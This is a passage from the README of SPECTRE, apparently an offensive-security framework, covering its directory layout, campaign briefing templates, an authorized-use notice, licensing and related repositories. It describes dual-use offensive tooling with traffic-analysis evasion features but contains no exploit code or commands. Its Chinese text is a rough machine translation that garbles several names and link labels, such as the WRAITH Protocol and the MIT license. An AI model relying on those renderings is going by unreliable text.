orchestration/ # Scan orchestration (Phase 4) │ │ │ │ ├── mod.rs # Module exports │ │ │ │ ├── chain.rs # Scan chaining with step conditions │ │ │ │ ├── template.rs # Scan templates and library │ │ │ │ ├── schedule.rs # Cron-based scan scheduling │ │ │ │ ├── profile.rs # User-defined scan profiles │ │ │ │ ├── timing.rs # Adaptive timing adjustment │ │ │ │ └── checkpoint.rs # Checkpoint/resume for scans │ │ │ ├── workflow/ # Workflow automation (Phase 4) │ │ │ │ ├── mod.rs # Module exports │ │ │ │ ├── dsl.rs # Workflow DSL types │ │ │ │ ├── parser.rs # YAML/JSON/TOML parser │ │ │ │ ├── executor.rs # Async workflow executor │ │ │ │ ├── variables.rs # Variable store and substitution │ │ │ │ ├── template.rs # Built-in workflow templates │ │ │ │ └── persistence.rs # Workflow save/load │ │ │ ├── recipe/ # Recipe management (Phase 4) │ │ │ │ ├── mod.rs # Module exports │ │ │ │ ├── storage.rs # File-based recipe storage │ │ │ │ ├── format.rs # Import/export (JSON/YAML/TOML) │ │ │ │ ├── search.rs # Recipe search and browsing │ │ │ │ ├── validate.rs # Recipe validation │ │ │ │ └── builtin.rs # Built-in recipe library │ │ │ ├── report/ # Report generation (Phase 4) │ │ │ │ ├── mod.rs # Module exports, ReportData │ │ │ │ ├── template.rs # Report template config │ │ │ │ ├── html.rs # HTML report generator │ │ │ │ ├── markdown.rs # Markdown report generator │ │ │ │ └── summary.rs # Executive summary builder │ │ │ ├── export/ # Export formats (Phase 4) │ │ │ │ ├── mod.rs # Module exports │ │ │ │ ├── csv.rs # CSV exporter (results/hosts/findings) │ │ │ │ ├── template.rs # Custom export template engine │ │ │ │ ├── scheduler.rs # Export scheduling │ │ │ │ └── incremental.rs # Incremental export tracking │ │ │ └── perf/ # Performance optimization (Phase 4) │ │ │ ├── mod.rs # Module exports │ │ │ ├── cache.rs # LRU cache implementation │ │ │ ├── pool.rs # Connection pool (async mutex) │ │ │ └── metrics.rs # Performance metrics collection │ │ └── tests/ # Integration tests (Phase 4) │ │ ├── integration_orchestration.rs # Scan orchestration tests (9) │ │ ├── integration_workflow.rs # Workflow engine tests (9) │ │ ├── integration_report.rs # Report generation tests (7) │ │ ├── integration_export.rs # Export format tests (8) │ │ ├── integration_plugin.rs # Plugin system tests (6) │ │ └── integration_perf.rs # Performance layer tests (6) │ ├── spectre-tui/ # TUI dashboard (18 files, 268 tests) │ │ ├── Cargo.toml │ │ └── src/ │ │ ├── lib.rs # Module declarations, re-exports │ │ ├── app.rs # App struct, state management, event dispatch │ │ ├── event.rs # Async EventHandler (crossterm + tick timer) │ │ ├── terminal.rs # Terminal init/restore, panic hook │ │ ├── tui.rs # Main run() entry point with async event loop │ │ ├── layout.rs # 4-panel layout, Grid/Wide/Tall/Focus modes │ │ ├── theme.rs # 5 built-in themes, color schemes │ │ ├── command.rs # Command input, 11 commands, history, completion │ │ ├── keybindings.rs # Key mapping, vim-style nav, F-keys │ │ ├── scan_state.rs # Scan progress tracking, ETA, filtering │ │ ├── panels/ # 4 panel implementations │ │ │ ├── recon.rs # Scan metrics, progress bar, results table │ │ │ ├── analysis.rs # CyberChef recipe status, output preview │ │ │ ├── comms.rs # Peer connections, transfer queue │ │ │ └── campaign.rs # Phase timeline, campaign metrics │ │ └── widgets/ # Shared widget components │ │ ├── help_overlay.rs # Help popup with keybinding groups │ │ └── status_bar.rs # Header bar + status bar rendering │ ├── spectre-gui/ # GUI application — Tauri 2.10 + React 19 (13 Rust files, 32 tests) │ │ ├── Cargo.toml # Binary+library crate (staticlib, cdylib, rlib) │ │ ├── build.rs # tauri_build::build() │ │ ├── tauri.conf.json # Tauri config (1280x800 window, CSP, bundle) │ │ ├── capabilities/ # IPC security permissions (default.json) │ │ ├── icons/ # App icons (32x32, 128x128, @2x, ico, icns) │ │ ├── src/ │ │ │ ├── main.rs # Desktop entry point │ │ │ ├── lib.rs # Tauri Builder, plugins, 21 IPC handlers │ │ │ ├── state.rs # AppState (RwLock) │ │ │ ├── events.rs # Event payloads (scan progress/result/complete/error) │ │ │ └── commands/ # IPC command handlers │ │ │ ├── status.rs # get_version, get_status (fully wired) │ │ │ ├── scan.rs # start_scan, stop_scan, get_scan_results (stubs) │ │ │ ├── chef.rs # execute_chef, list_chef_operations (stubs) │ │ │ ├── comms.rs # get_identity, list_peers, send_data (stubs) │ │ │ ├── campaign.rs # create/list/get/advance campaign (stubs) │ │ │ ├── config.rs # get_config, set_config (stubs) │ │ │ ├── results.rs # get_dashboard_stats, get_findings (stubs) │ │ │ ├── report.rs # generate_report, export_data (stubs) │ │ │ └── target.rs # parse_targets (stub) │ │ └── frontend/ # React 19 + Vite 6 + TypeScript (8 files, 5 tests) │ │ ├── package.json │ │ ├── vite.config.ts │ │ ├── tsconfig.json │ │ ├── index.html │ │ └── src/ │ │ ├── main.tsx # React root │ │ ├── App.tsx # Version + status display via IPC │ │ ├── styles.css # Dark theme with SPECTRE accent colors │ │ └── App.test.tsx # 5 vitest tests │ └── spectre-mcp/ # MCP server (planned - Phase 6) │ ├── configs/ │ └── spectre.toml # Default configuration │ ├── docs/ │ ├── architecture/ # System design documentation │ ├── user-guide/ # Usage documentation │ ├── integration/ # Component integration guides │ ├── briefings/ # Mission briefing templates │ ├── development/ # Developer documentation │ ├── api/ # API specifications │ ├── security/ # Security documentation │ ├── deployment/ # Deployment guides │ ├── tutorials/ # Step-by-step tutorials │ └── reference/ # Reference materials │ ├── to-dos/ # Sprint planning (7 phases) │ ├── .github/ │ ├── workflows/ # CI/CD (ci.yml, release.yml) │ ├── ISSUE_TEMPLATE/ # Bug report, feature request │ └── PULL_REQUEST_TEMPLATE.md │ └── tests/ # Integration tests (planned)
______________________________________________________________________
## 任务简报文件
为了清晰和熟悉,SPECTRE文档遵循军事作战格式。模板可在 `docs/briefings/`.
### 作战命令
活动策划的标准5段格式——见 [OPORD模板.md](docs/briefings/OPORD-template.md).
### SITREP(形势报告)
实时活动状态更新——请参阅 [网站.md](docs/briefings/SITREP.md).
### 作战概念
详细的操作方法——见 [CONOP-template.md](docs/briefings/CONOP-template.md).
### AAR(事后审查)
活动后分析——见 [AAR模板.md](docs/briefings/AAR-template.md).
______________________________________________________________________
## 安全与法律
### 责任的使用
> **重要:** SPECTRE仅用于授权的安全测试。
- 仅在您拥有或有明确书面许可进行测试的网络上使用
- 未经授权的扫描和入侵可能违反法律(CFAA、CMA等)
- 在测试之前,始终获得适当的授权并确定范围
- 遵循组织的参与规则(ROE)
### 安全特性
- 所有通信均采用现代密码学加密(XChaCha20-Poly1305)
- 内置流量分析阻力(Elligator2,协议模拟)
- 无遥测或回拨功能
- 合规性审计日志
- 后量子混合加密可用(X25519+ML-KEM-768)
______________________________________________________________________
## 贡献
我们欢迎捐款!看 [贡献.md](CONTRIBUTING.md) 详细指南。
**特定组件指南:**
- [书面协议贡献.md](https://github.com/doublegate/WRAITH-Protocol/blob/main/CONTRIBUTING.md)
- [ProRT知识产权贡献.md](https://github.com/doublegate/ProRT-IP/blob/main/CONTRIBUTING.md)
- [CyberChef MCP贡献.md](https://github.com/doublegate/CyberChef-MCP/blob/main/CONTRIBUTING.md)
### 开发标准
- Rust代码: `cargo fmt`, `cargo clippy -- -D warnings`,迂腐/托儿所清洁
- Types/JavaScript:ESLint,Prettier
- 提交消息: [约定式提交](https://www.conventionalcommits.org/)
- 所有PR都需要测试和记录
- 看 [安全.md](SECURITY.md) 用于漏洞报告
______________________________________________________________________
## 许可证
SPECTRE是一个多许可证项目,反映了其组件许可证:
|组件|许可证|
| ---------------------------------- | ---------- |
|SPECTRE(CLI、Core、TUI、GUI、MCP)|麻省理工学院|
|书面协议|麻省理工学院|
|ProRT IP | GPLv3|
|CyberChef MCP | Apache 2.0|
有关完整的许可证文本,请参阅各个组件存储库。
______________________________________________________________________
## 致谢
SPECTRE建立在巨人的肩膀上:
**安全研究:**
[扫描器](https://nmap.org/) |
[Masscan](https://github.com/robertdavidgraham/masscan) |
[钴打击](https://www.cobaltstrike.com/) |
[银丝](https://github.com/BishopFox/sliver)
**密码学:**
[噪声协议](https://noiseprotocol.org/) |
[信令协议](https://signal.org/docs/) |
[线卫](https://www.wireguard.com/)
**数据分析:**
[CyberChef](https://github.com/gchq/CyberChef) |
[模型上下文协议](https://modelcontextprotocol.io/)
______________________________________________________________________
## 链接
- **存储库:** [https://doublegate/SPECRE](https://github.com/doublegate/SPECTRE)
- **问题:**
- **讨论:**
### 相关存储库
|存储库|描述|
| ---------------------------------------------------------------- | ----------------------------------------- |
| [书面协议](https://github.com/doublegate/WRAITH-Protocol) |安全通信组件(v2.3.7)|
| [ProRT IP](https://github.com/doublegate/ProRT-IP) |网络侦察组件(v1.0.0)|
| [CyberChef MCP](https://github.com/doublegate/CyberChef-MCP) |数据分析组件(v1.9.0)|
______________________________________________________________________
**幽灵** — _统一进攻安全_
**版本:** 0.5.0-α1| **许可证:** 多许可证| **语言:** Rust+TypeScript| **状态:** 积极开发
**最后更新时间:** 2026-02-05